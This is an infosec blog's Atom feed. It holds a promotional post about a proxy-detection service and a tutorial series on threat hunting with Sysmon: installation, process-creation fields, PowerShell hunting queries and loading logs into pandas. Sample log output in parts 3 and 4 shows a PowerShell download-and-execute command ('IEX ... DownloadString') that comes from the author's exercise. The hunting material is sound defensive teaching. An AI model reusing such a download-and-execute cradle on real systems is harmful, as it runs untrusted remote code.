<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://infosec-blog.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://infosec-blog.com/" rel="alternate" type="text/html" /><updated>2025-09-13T16:04:06+00:00</updated><id>https://infosec-blog.com/feed.xml</id><title type="html">11x256’s Infosec blog</title><subtitle>Yet another blog about Infosec, malware, android security, and threat hunting &amp; detection </subtitle><author><name>abdo</name></author><entry><title type="html">When Bots Get Sneaky: How ProxySentry.io Helps You Fight Back Against Residential Proxy Attacks</title><link href="https://infosec-blog.com/threat_hunting/When-Bots-Get-Sneaky-How-ProxySentry.io-Helps-You-Fight-Back-Against-Residential-Proxy-Attacks/" rel="alternate" type="text/html" title="When Bots Get Sneaky: How ProxySentry.io Helps You Fight Back Against Residential Proxy Attacks" /><published>2025-09-13T08:40:00+00:00</published><updated>2025-09-13T08:40:00+00:00</updated><id>https://infosec-blog.com/threat_hunting/When%20Bots%20Get%20Sneaky:%20How%20ProxySentry.io%20Helps%20You%20Fight%20Back%20Against%20Residential%20Proxy%20Attacks</id><content type="html" xml:base="https://infosec-blog.com/threat_hunting/When-Bots-Get-Sneaky-How-ProxySentry.io-Helps-You-Fight-Back-Against-Residential-Proxy-Attacks/"><![CDATA[<p>You know that sinking feeling when you check your analytics and something’s… off? Maybe it’s a spike in failed login attempts at 3 AM. Or perhaps your fraud detection system is screaming about suspicious orders from IP addresses that look perfectly legitimate. Here’s the thing—you’re probably dealing with bots using residential proxies, and they’re getting scary good at hiding.</p>

<h2 id="the-residential-proxy-problem-nobody-talks-about-enough">The Residential Proxy Problem Nobody Talks About Enough</h2>

<p>Let me paint you a picture. Traditional bot detection works great when attackers use datacenter proxies. Those IPs stick out like a sore thumb—they’re from hosting providers, they share similar patterns, and honestly, blocking them feels like swatting flies. Easy.</p>

<p>But residential proxies? That’s a whole different beast. These connections come from real home internet connections, scattered across neighborhoods just like your legitimate users. When a bot routes through someone’s home router in suburban Ohio, how do you tell the difference between that and your actual customer from suburban Ohio? It’s maddening.</p>

<p>The worst part? Account takeover (ATO) attacks and fraudulent orders using these proxies cost businesses millions. And I’m not throwing that number around lightly. We’re talking real money disappearing because bots are essentially wearing digital disguises that make them look like your grandmother checking her email.</p>

<h2 id="enter-proxysentryio-and-why-it-actually-works">Enter ProxySentry.io (And Why It Actually Works)</h2>

<p>Here’s where <a href="https://proxysentry.io">ProxySentry.io</a> comes into play, and honestly, it’s about time someone tackled this problem head-on. What makes it different is that it doesn’t just look at IP addresses—that ship has sailed. Instead, it analyzes behavioral patterns, connection metadata, and a bunch of other signals that residential proxy users can’t easily fake.</p>

<p>Think about it this way: even if a bot is hiding behind a residential IP, it still behaves like a bot. It might make requests faster than humanly possible, or hit endpoints in sequences that no real user would follow. ProxySentry catches these patterns.</p>

<p>The API integration is surprisingly straightforward. You basically send over the IP address and some request context, and it returns a risk score. Something like:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"risk_score"</span><span class="p">:</span><span class="w"> </span><span class="mi">85</span><span class="p">,</span><span class="w">
  </span><span class="nl">"proxy_type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"residential"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"indicators"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
    </span><span class="s2">"unusual_velocity"</span><span class="p">,</span><span class="w">
    </span><span class="s2">"mismatched_timezone"</span><span class="p">,</span><span class="w">
    </span><span class="s2">"suspicious_asn_rotation"</span><span class="w">
  </span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>What I really appreciate is that it doesn’t just scream “BOT!” and leave you hanging. You get actual context about why something seems fishy.</p>

<h2 id="setting-up-your-defense-without-going-overboard">Setting Up Your Defense (Without Going Overboard)</h2>

<p>Now, before you go blocking every suspicious request, let’s talk strategy. The key with residential proxy detection isn’t creating an impenetrable fortress—it’s adding smart friction at the right moments.</p>

<p>For login attempts, you might trigger additional verification when ProxySentry flags high-risk residential proxies. Maybe that’s a CAPTCHA, maybe it’s email verification. The point is, you’re not immediately slamming the door; you’re just asking them to prove they’re real.</p>

<p>With order fraud, it gets interesting. High-risk scores might trigger manual review for orders above certain amounts. Or you could delay order processing slightly—just enough to catch stolen credit card reports before shipping. Small friction, big protection.</p>

<p>Here’s a pattern I’ve seen work well: combine ProxySentry’s risk scores with your existing signals. Got a user logging in from a residential proxy with a risk score of 70+, trying to change the email address on an account that’s been dormant for six months? Yeah, that’s a red flag parade.</p>

<h2 id="the-human-element-you-cant-ignore">The Human Element You Can’t Ignore</h2>

<p>Let’s be real for a second—some legitimate users do use VPNs and proxy services. Maybe they’re privacy-conscious, maybe they’re traveling, or maybe they just don’t trust their ISP. (Can you blame them?) This is why the nuanced approach ProxySentry takes matters so much.</p>

<p>You’re not just getting a binary “proxy/not proxy” response. You’re getting intelligence about the type of proxy, how it’s being used, and whether the behavior matches typical proxy abuse patterns. This lets you make informed decisions instead of playing whack-a-mole with IP addresses.</p>

<h2 id="making-it-work-in-production">Making It Work in Production</h2>

<p>Implementation-wise, you’ll want to start monitoring before blocking. Seriously, resist the urge to go full defensive mode on day one. Log everything for a week or two. Look at what would’ve been blocked. Check if any legitimate users would’ve been caught in the crossfire.</p>

<p>Most teams should integrate <a href="https://proxysentry.io">ProxySentry.io</a> at a few key points: account creation, login, password reset, and checkout. These are your high-value targets for attackers, so they make sense as checkpoints. The API is fast enough that users won’t notice the extra milliseconds, but those milliseconds might save you from a world of hurt.</p>

<p>Remember, this isn’t about building a perfect system—perfect is the enemy of good enough. It’s about making your platform annoying enough for bot operators that they move on to easier targets. Because at the end of the day, that’s really what security is: being a harder target than the next guy.</p>]]></content><author><name>abdo</name></author><category term="Threat_hunting" /><category term="Threat" /><category term="hunting" /><category term="sysmon" /><category term="Threat-hunting" /><category term="windows" /><category term="logs" /><category term="ELK" /><category term="IP" /><category term="IPrep" /><summary type="html"><![CDATA[Ip repuration score]]></summary></entry><entry><title type="html">Threat Hunting with sysmon 101 part 4: Loading events in pandas dataframe</title><link href="https://infosec-blog.com/threat_hunting/Threat-Hunting-4-Loading-events-in-pandas-dataframe/" rel="alternate" type="text/html" title="Threat Hunting with sysmon 101 part 4: Loading events in pandas dataframe" /><published>2024-03-25T20:40:00+00:00</published><updated>2024-03-25T20:40:00+00:00</updated><id>https://infosec-blog.com/threat_hunting/Threat%20Hunting%204%20%20Loading%20events%20in%20pandas%20dataframe</id><content type="html" xml:base="https://infosec-blog.com/threat_hunting/Threat-Hunting-4-Loading-events-in-pandas-dataframe/"><![CDATA[<h2 id="loading-sysmon-events-in-pandas-dataframe">Loading sysmon events in pandas dataframe</h2>
<p>In the past article, we used powershell scripting to filter the events and perform basic querying, in this article we will load sysmon logs into python, and explore some powerful queries that we can apply to our data to gain better understanding of it.</p>

<h2 id="exporting-events-to-xml">Exporting events to xml</h2>
<p>The first step is to export sysmon events from the event log in xml format. This can be done either using get-winevent, or wevtutil. But, it seems that wevtutil is much faster .</p>

<p>This command uses <strong>wevtutil.exe</strong> to dump the logs to <strong>exported-eventlog.xml</strong> file on the desktop in XML format.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>WEVTUtil query-events "Microsoft-Windows-Sysmon/Operational" /format:xml /e:events &gt; ~/Desktop/exported-eventlog.xml
</code></pre></div></div>
<p>Or, this slower version that uses <strong>Get-WinEvent</strong> powershell command</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'} |Export-Clixml -Path ~/Desktop/exported-eventlog.xml
</code></pre></div></div>

<p>Make sure to run these commands as admin in order to export the logs properly.</p>

<h2 id="loading-events-in-python">Loading Events in python</h2>
<p>Parsing XML files in python is easy, we just need to know which nodes/attributes are useful for us, this code snipper will load the xml file, iterate over each event, extract some data from each event, and then store load every thing in pandas dataframe.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import tabulate
from bs4 import BeautifulSoup
import pandas as pd

with open(r'exported-eventlog.xml', 'r' , encoding='utf16') as f:
    data = f.read()

parsed = BeautifulSoup(data, "xml")

events_list  = []
for event in parsed.find_all('Event'):
    evt_dict ={}
    evt_dict['EventID'] = event.find('EventID').text
    evt_dict['Computer'] = event.find('Computer').text
    evt_dict['EventRecordID'] = event.find('EventRecordID').text
    for j in event.find_all("Data"):
        evt_dict[j['Name']] = j.text
    events_list.append(evt_dict)

df = pd.DataFrame(events_list)
print('Loaded %d events' % len(df))
</code></pre></div></div>

<h2 id="usecase-search-for-execution-of-ps1-files">Usecase: Search for execution of .ps1 files</h2>
<p>We can use python to do case insensitive searches in the data, in this example, we are using regex to search the “CommandLine” field for powershell executing ps1 script files.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>filtered_df = df[(df['CommandLine'].notna()) &amp; (df['CommandLine'].str.match('.*PoWeRSHeLl.*pS1.*',case=0))][['EventID','ProcessId','Image','CommandLine']]
print(tabulate.tabulate(filtered_df ,headers= filtered_df.columns))
</code></pre></div></div>
<p>And the result shows the execution of the exercise file we used in the last post.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        EventID    ProcessId  CommandLine
----  ---------  -----------  ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
 115          1         3900  powershell.exe  -noexit -ep bypass -command IEX((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/11x256/11x256.github.io/test/assets/exercise/th3/1.ps1'))

9082          1         7464  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noexit -command "try { . \"c:\Users\abdo-pc\AppData\Local\Programs\Microsoft VS Code\resources\app\out\vs\workbench\contrib\terminal\browser\media\shellIntegration.ps1\" } catch {}"

</code></pre></div></div>

<h2 id="usecase-create-process-tree">Usecase: Create Process Tree</h2>
<p>Another thing we can try now is to create a process tree to show the relationships between the processes.
In order to create a process tree, we will need 2 things:</p>
<ul>
  <li>identify root nodes, these nodes (processes) don’t have a parent, this can be either due to missing data, or because thats the first process created by the OS.</li>
  <li>Create list of children of each node: this will allow us to create the parent-child relationship</li>
</ul>

<h3 id="the-firs-step-prepare-the-data">The firs step: Prepare the data</h3>
<p>In this step will check what nodes are missing from our data ,and we will select a subset of filed to use in the process tree</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># List to store all the nodes
nodes = []
# Dictionary to identify missing nodes
nodes_guids = {}
for i in df[df['EventID'] == "1" ].itertuples():
    node = {}
    node['Name'] = i.Image.split('\\')[-1]
    node['Cmd'] = i.CommandLine
    node['ProcessGuid'] = i.ProcessGuid
    node['ParentProcessGuid'] = i.ParentProcessGuid
    node['ProcessId'] = i.ProcessId

    nodes.append(node)
    nodes_guids[i.ProcessGuid] = 1 # set the node in the dict as available
</code></pre></div></div>

<h3 id="the-second-step-create-the-parent-child-relationship">The second step: Create the parent-child relationship</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>roots = []
children = {}

for i in nodes:
    if nodes_guids.get(i['ParentProcessGuid'] , 0 ) == 0:
        roots.append(i)
    else:
        if i['ParentProcessGuid']  not in children:
            children[i['ParentProcessGuid'] ] = []
        children[i['ParentProcessGuid'] ].append(i)


</code></pre></div></div>

<p>This code will create a list of roots, nodes without a parent in our set of data. And it will create a list of children for each parent</p>

<h3 id="the-third-step-print-the-tree">The third step: Print the tree</h3>
<p>Now, we have every thing ready, we just need to print the data using recursion. Recursion is used in order to print the data in the required order, we need to print the root, then the first child, then the first child of the first child, and so on…</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root
    child 1
        child 1 1
            child 1 1 1
        child 1 2
        child 1 3
            child 1 3 1
            child 1 3 2
    child 2
    child 3 
    ... 
</code></pre></div></div>
<p>Using a for loop to print the data , we will get in weird order for a process tree, which will look like this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root
    child 1
    child 2
    child 3
    child 4
    child 1 1
    child 1 2
    child 3 1
    .... and so on
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>def print_node(node, indent =0):
    print(' '*indent , node['Name'] , node['ProcessId'])
    for j in children.get(node['ProcessGuid'] , []):
        print_node(j, indent=indent+4)
for i in roots:
    print_node(i)

</code></pre></div></div>

<p>Which would print something like this, based on what you choose to print</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> mscorsvw.exe 1532
 mscorsvw.exe 5964
 chrome.exe 9320
     chrome.exe 6456
     chrome.exe 7568
     chrome.exe 940
     chrome.exe 10788
     chrome.exe 7448
     chrome.exe 3400
     chrome.exe 7060
     chrome.exe 5292
     chrome.exe 11128
     chrome.exe 4340
     chrome.exe 8556
     chrome.exe 8816
     chrome.exe 2052
     chrome.exe 5896
     chrome.exe 7016
     cmd.exe 5292
         conhost.exe 8224
     chrome.exe 768
     chrome.exe 9288
     chrome.exe 9716
     cmd.exe 4264
         conhost.exe 6736
    ....
</code></pre></div></div>

<h2 id="threat-hunting-posts">Threat Hunting posts</h2>
<ul>
  <li><a href="https://infosec-blog.com/threat_hunting/Threat-Hunting-1-installing-sysmon/">Part 1 - Installing sysmon</a></li>
  <li><a href="https://infosec-blog.com/threat_hunting/Threat-Hunting-2-sysmon-event-structure/">Part 2 - Sysmon event structure</a></li>
  <li><a href="https://infosec-blog.com/threat_hunting/Threat-Hunting-3-command-line-investigation/">Part 3 - Command line investigation</a></li>
  <li><a href="https://infosec-blog.com/threat_hunting/Threat-Hunting-4-Loading-events-in-pandas-dataframe/">Part 4- Loading sysmon events in python</a></li>
</ul>]]></content><author><name>abdo</name></author><category term="Threat_hunting" /><category term="Threat" /><category term="hunting" /><category term="sysmon" /><category term="Threat-hunting" /><category term="windows" /><category term="logs" /><category term="ELK" /><summary type="html"><![CDATA[Threat hunting with sysmon]]></summary></entry><entry><title type="html">Threat Hunting with sysmon 101 part 1: sysmon installation</title><link href="https://infosec-blog.com/threat_hunting/Threat-Hunting-1-installing-sysmon/" rel="alternate" type="text/html" title="Threat Hunting with sysmon 101 part 1: sysmon installation" /><published>2024-02-21T09:40:00+00:00</published><updated>2024-02-21T09:40:00+00:00</updated><id>https://infosec-blog.com/threat_hunting/Threat%20Hunting%201%20%20installing%20sysmon</id><content type="html" xml:base="https://infosec-blog.com/threat_hunting/Threat-Hunting-1-installing-sysmon/"><![CDATA[<h2 id="threat-hunting-with-sysmon-sysmon-installation">Threat Hunting with sysmon: sysmon installation</h2>

<p>In this article, we’ll explore Sysmon, install it, and ensure its working properly.</p>

<h2 id="what-is-sysmon">What is Sysmon?</h2>
<p>Sysmon, short for System Monitor, is a powerful Windows system service and device driver that monitors and logs system activity to the Windows event log. Developed by Microsoft’s Sysinternals team, Sysmon provides detailed information about process creations, network connections, file modifications, registry modifications, and more. It is commonly used for security monitoring, threat detection, and forensic analysis on Windows systems.</p>

<h2 id="installing-sysmon">Installing Sysmon</h2>
<p>To install Sysmon on a Windows system, follow these steps:</p>

<ol>
  <li>
    <p><strong>Download Sysmon</strong>: Visit the official Sysinternals Sysmon page to download the latest version of Sysmon
<a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon">Download from here</a>.
<img src="/assets/images/th1/1.png" alt="download" /></p>
  </li>
  <li>
    <p><strong>Extract the ZIP file</strong>: After downloading Sysmon, extract the contents of the ZIP file to a folder on your computer.</p>
  </li>
  <li>
    <p><strong>Open Command Prompt</strong>: Open Command Prompt with administrative privileges. You can do this by searching for “cmd” in the Start menu, right-clicking on “Command Prompt,” and selecting “Run as administrator.”</p>
  </li>
  <li>
    <p><strong>Navigate to the Sysmon directory</strong>: Use the cd command to navigate to the directory where you extracted the Sysmon files.</p>
  </li>
  <li>
    <p><strong>Install Sysmon</strong>: Run the following command to install Sysmon: <code class="language-plaintext highlighter-rouge">sysmon.exe -i -accepteula</code>
This command installs Sysmon as a Windows service and accepts the end-user license agreement (EULA).
<img src="/assets/images/th1/2.png" alt="install sysmon!" /></p>
  </li>
  <li>
    <p><strong>Verify installation</strong>: You can verify that Sysmon has been installed correctly by checking the Windows Event Viewer. On Vista and higher, events are stored in <code class="language-plaintext highlighter-rouge">Applications and Services Logs/Microsoft/Windows/Sysmon/Operational</code> Look for event logs with the source “Microsoft-Windows-Sysmon” to confirm that Sysmon is running and logging events. For example, i opened notepad.exe , and was able to find it in the sysmon logs.
<img src="/assets/images/th1/3.png" alt="test sysmon" /></p>
  </li>
</ol>

<h2 id="threat-hunting-posts">Threat Hunting posts</h2>
<ul>
  <li><a href="https://infosec-blog.com/threat_hunting/Threat-Hunting-1-installing-sysmon/">Part 1 - Installing sysmon</a></li>
  <li><a href="https://infosec-blog.com/threat_hunting/Threat-Hunting-2-sysmon-event-structure/">Part 2 - Sysmon event structure</a></li>
  <li><a href="https://infosec-blog.com/threat_hunting/Threat-Hunting-3-command-line-investigation/">Part 3 - Command line investigation</a></li>
  <li><a href="https://infosec-blog.com/threat_hunting/Threat-Hunting-4-Loading-events-in-pandas-dataframe/">Part 4- Loading sysmon events in python</a></li>
</ul>]]></content><author><name>abdo</name></author><category term="Threat_hunting" /><category term="Threat" /><category term="hunting" /><category term="sysmon" /><category term="Threat-hunting" /><category term="windows" /><category term="logs" /><category term="ELK" /><summary type="html"><![CDATA[In this post we will download and install sysmon tool to start logging activity on a vm to start our threat hunting journey.]]></summary></entry><entry><title type="html">Threat Hunting with sysmon 101 part 2: Process creation event</title><link href="https://infosec-blog.com/threat_hunting/Threat-Hunting-2-sysmon-event-structure/" rel="alternate" type="text/html" title="Threat Hunting with sysmon 101 part 2: Process creation event" /><published>2024-02-21T09:40:00+00:00</published><updated>2024-02-21T09:40:00+00:00</updated><id>https://infosec-blog.com/threat_hunting/Threat%20Hunting%202%20%20sysmon%20event%20structure</id><content type="html" xml:base="https://infosec-blog.com/threat_hunting/Threat-Hunting-2-sysmon-event-structure/"><![CDATA[<h2 id="threat-hunting-with-sysmon-process-creation-event">Threat Hunting with sysmon: Process creation event</h2>

<p>In this article, we’ll explore the structure of process creation event (event_id == 1).</p>

<h2 id="process-creation-event">Process creation event</h2>
<p>The process creation event, typically denoted as Event ID 1 in Sysmon, is a critical aspect of system monitoring and security analysis. When a new process is spawned on a Windows system, Sysmon captures and logs detailed information about this event, providing valuable insights into the execution of programs and potential security threats. Here’s a comprehensive description of the process creation event:</p>

<ul>
  <li>
    <p><strong>Event ID</strong>: The event ID for process creation in Sysmon is 1. This ID serves as a unique identifier to differentiate process creation events from other types of events logged by Sysmon.</p>
  </li>
  <li>
    <p><strong>Timestamp</strong>: The timestamp indicates the exact date and time when the process creation event occurred. This timing information is crucial for correlating events, establishing timelines during forensic investigations, and identifying patterns of suspicious activity.</p>
  </li>
  <li><strong>Process Information</strong>:
    <ul>
      <li><strong>Process Name</strong>: The name of the newly created process, which provides insight into the executable or application being launched.</li>
      <li><strong>Process ID (PID)</strong>: A unique identifier assigned to the newly created process by the operating system. PID helps in tracking and referencing the process throughout its lifecycle.</li>
      <li><strong>ProcessGuid</strong>: is a unique value for this process across a domain to make event correlation easier. PID is not unique, and it can be reused on the same,which can cause confusion in investigations. Thats why microsoft added the process guid field, which is a unique alternative to the PID.</li>
      <li><strong>Parent Process Name</strong>: The name of the parent process that initiated the creation of the new process. Understanding the parent process can reveal the origin of the execution chain.</li>
      <li><strong>Parent Process ID (PPID)</strong>: The PID of the parent process. Knowing the PPID allows analysts to map the relationship between the parent and child processes.</li>
      <li><strong>ParentProcessGuid</strong>: Same as ProcessGuid, but for the parent process. Relying on PID and PPID to map relationships between process will not be accurate in all cases. GUIDs should be used instead.</li>
      <li><strong>Command Line</strong>: The command line parameters used to launch the new process, if available. Command line information provides additional context about the execution environment and potential malicious intent.</li>
      <li><strong>Hash of the Executable File</strong>: The cryptographic hash (e.g., SHA-256) of the executable file corresponding to the new process. Hash values enable file integrity verification and facilitate the identification of known malware or suspicious binaries.</li>
    </ul>
  </li>
  <li><strong>Security Information</strong>:
    <ul>
      <li><strong>User</strong>: The user account under which the new process was created. User context is essential for determining privileges, permissions, and potential unauthorized activity.</li>
      <li><strong>Logon ID</strong>: A unique identifier associated with the user’s logon session. Logon ID helps in linking process creation events to specific user sessions, aiding in user attribution and accountability.</li>
    </ul>
  </li>
</ul>

<h2 id="example-of-a-process-creation-event">Example of a process creation event</h2>
<p>Lets use this command to get one event with event_id ==1 (process creation event).<br />
<code class="language-plaintext highlighter-rouge">(Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=1} -MaxEvents 1).message</code>
This would print output like this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Process Create:
RuleName: -
UtcTime: 2024-02-22 00:02:08.800
ProcessGuid: {e3b07ee5-8f00-65d6-e605-000000000400}
ProcessId: 4736
Image: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
FileVersion: 121.0.2277.128
Description: Microsoft Edge
Product: Microsoft Edge
Company: Microsoft Corporation
OriginalFileName: msedge.exe
CommandLine: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --default-search-provider=? --out-pipe-name=MSEdgeDefault59f0370dh8777h49afh8f81h26e48962a41d
CurrentDirectory: C:\Windows\ImmersiveControlPanel\
User: DESKTOP-D3OJRQ4\abdo-pc
LogonGuid: {e3b07ee5-78ab-65d6-a79d-020000000000}
LogonId: 0x29DA7
TerminalSessionId: 1
IntegrityLevel: Medium
Hashes: SHA256=09246B7D443CA032967573CE80EE41F96ECFDBF9B2F8EBCE7B8EB5C3E89C831B
ParentProcessGuid: {e3b07ee5-78ad-65d6-5200-000000000400}
ParentProcessId: 3688
ParentImage: C:\Windows\System32\sihost.exe
ParentCommandLine: sihost.exe
ParentUser: DESKTOP-D3OJRQ4\abdo-pc
PS C:\Users\abdo-pc\Downloads\Sysmon&gt; 
</code></pre></div></div>

<p>Some of the fields in the output are more important than other from the prespective of threat hunting, for example, commandline can have valuable information , as we will see in the next post.</p>

<h2 id="threat-hunting-posts">Threat Hunting posts</h2>
<ul>
  <li><a href="https://infosec-blog.com/threat_hunting/Threat-Hunting-1-installing-sysmon/">Part 1 - Installing sysmon</a></li>
  <li><a href="https://infosec-blog.com/threat_hunting/Threat-Hunting-2-sysmon-event-structure/">Part 2 - Sysmon event structure</a></li>
  <li><a href="https://infosec-blog.com/threat_hunting/Threat-Hunting-3-command-line-investigation/">Part 3 - Command line investigation</a></li>
  <li><a href="https://infosec-blog.com/threat_hunting/Threat-Hunting-4-Loading-events-in-pandas-dataframe/">Part 4- Loading sysmon events in python</a></li>
</ul>]]></content><author><name>abdo</name></author><category term="Threat_hunting" /><category term="Threat" /><category term="hunting" /><category term="sysmon" /><category term="Threat-hunting" /><category term="windows" /><category term="logs" /><category term="ELK" /><summary type="html"><![CDATA[Process creation events are one of the most important events to investigate, we will examine the different data fields that are logged by sysmon in this event.]]></summary></entry><entry><title type="html">Threat Hunting with sysmon 101 part 3: Command line investigation</title><link href="https://infosec-blog.com/threat_hunting/Threat-Hunting-3-command-line-investigation/" rel="alternate" type="text/html" title="Threat Hunting with sysmon 101 part 3: Command line investigation" /><published>2024-02-21T09:40:00+00:00</published><updated>2024-02-21T09:40:00+00:00</updated><id>https://infosec-blog.com/threat_hunting/Threat%20Hunting%203%20%20command%20line%20investigation</id><content type="html" xml:base="https://infosec-blog.com/threat_hunting/Threat-Hunting-3-command-line-investigation/"><![CDATA[<h2 id="threat-hunting-with-sysmon-command-line-investigation">Threat Hunting with sysmon: Command line investigation</h2>
<p>In this article, we’ll look at Mitre technique T1059.001 <a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a>. We will download and execute a batch file <a href="https://attack.mitre.org/techniques/T1105/">T1105: Ingress Tool Transfer</a>, and we will look at sysmon logs to see the articats created from such activity.</p>

<h2 id="overview-of-t1059001">Overview of T1059.001</h2>
<p>T1059.001 is categorized under the Execution tactic in the MITRE ATT&amp;CK framework. It involves the use of command-line interfaces (CLIs) or scripting interpreters to execute commands or scripts, which can be leveraged by adversaries for various purposes, including lateral movement, privilege escalation, and data exfiltration. Common command-line interfaces and scripting interpreters utilized by adversaries include PowerShell, Command Prompt (cmd.exe), Bash, Python, and others.</p>

<h2 id="execution">Execution</h2>
<p>The exercise file can be downloaded from <a href="https://github.com/11x256/11x256.github.io/blob/test/assets/exercise/th3/1.bat">here</a>. its a simple batch script that will download a powershell script from github. This powershell script will run notepad.exe if it gets downloaded and executed successfully.</p>

<h2 id="hunting-queries">Hunting Queries</h2>
<p>So, to find such technique in sysmon logs, we can try a few different things:</p>
<ul>
  <li>Identify newly downloaded files, and search for any process creation events that involves any one of those files
    <ul>
      <li>We cannot run this query right now, as sysmon is not logging filewrites by default.</li>
    </ul>
  </li>
  <li>Search for executed files that are stored in the downloads folder
    <ul>
      <li>Assuming that attackers will not move the downloaded file to another location</li>
    </ul>
  </li>
  <li>Search for powershell process with url patterns in the command line</li>
  <li>Search for process where the parent process is web browser
    <ul>
      <li>This behaviour will exist if the attacker download and executed the file from within the browser</li>
    </ul>
  </li>
</ul>

<h3 id="query-1-files-executed-from-within-the-downloads-folder">Query 1: Files executed from within the downloads folder</h3>
<p>To search for events matching this rule, we will use powershell to filter sysmon events. In order to do that, we can use the <strong>CommandLine</strong> field in sysmon process creation event as follows. Make sure to run in powershell with admin rights.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$logs= Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=1}

foreach ($log in $logs){
    $conditions_matched = 0
    foreach($line in ($log.message -split '\n'))
    {

        if (($line.StartsWith("CommandLine")) -and ($line -match ".*\\downloads\\.*" ) ){
            $conditions_matched +=1
        }
    }
    if ($conditions_matched -eq 1 ){
        echo $log.Message
        echo "***************************************************"}
}
</code></pre></div></div>
<p>This command prints this output on my device, i added these arrows manually, its not part of the output of the script.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Process Create:
RuleName: -
UtcTime: 2024-03-05 00:35:34.450
ProcessGuid: {e3b07ee5-68d6-65e6-3702-000000000800}
ProcessId: 5292
Image: C:\Windows\System32\cmd.exe                                                            &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt; 
FileVersion: 10.0.19041.3636 (WinBuild.160101.0800)
Description: Windows Command Processor
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: Cmd.Exe
CommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\abdo-pc\Downloads\1.bat" "              &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;
CurrentDirectory: C:\Users\abdo-pc\Downloads\
User: DESKTOP-D3OJRQ4\abdo-pc
LogonGuid: {e3b07ee5-674d-65e6-52f1-100000000000}
LogonId: 0x10F152
TerminalSessionId: 1
IntegrityLevel: Medium
Hashes: SHA256=265B69033CEA7A9F8214A34CD9B17912909AF46C7A47395DD7BB893A24507E59
ParentProcessGuid: {e3b07ee5-68c0-65e6-1902-000000000800}
ParentProcessId: 9320
ParentImage: C:\Program Files\Google\Chrome\Application\chrome.exe                              &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;
ParentCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" 
ParentUser: DESKTOP-D3OJRQ4\abdo-pc
***************************************************
</code></pre></div></div>
<p>As shown in the output above, <strong>ParentImage</strong> chrome.exe executed cmd.exe in order to run 1.bat file, which is stored in the downloads folder. Also, we can see that the process <strong>Image</strong> (cmd.exe) is not stored in the downloads folder, its the script that is getting execute that is stored in the downloads folder.</p>

<h3 id="query-2-search-for-powershell-processes-with-urls-in-command-line">Query 2: Search for powershell processes with urls in command line</h3>
<p>The script for this hunt will use the same fields from the previous hunt. We will search for powershell.exe process with the word “http” in the command line.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$logs= Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=1}

foreach ($log in $logs){
    $conditions_matched = 0
    foreach($line in ($log.message -split '\n'))
    {
        if (($line.StartsWith("Image")) -and ($line -match ".*powershell.exe.*" ) ){
            $conditions_matched +=1
        }
        if (($line.StartsWith("CommandLine")) -and ($line -match ".*http.*" ) ){
            $conditions_matched +=1
        }
    }
    if ($conditions_matched -eq 2 ){
        echo $log.Message
        echo "***************************************************"}
}

</code></pre></div></div>
<p>Output would look like this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Process Create:
RuleName: -
UtcTime: 2024-03-05 00:36:25.625
ProcessGuid: {e3b07ee5-6909-65e6-5602-000000000800}
ProcessId: 3900
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe                          &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;
FileVersion: 10.0.19041.3996 (WinBuild.160101.0800)
Description: Windows PowerShell
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: PowerShell.EXE
CommandLine: powershell.exe  -noexit -ep bypass -command IEX((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/11x256/11x256.github.io/                                                               
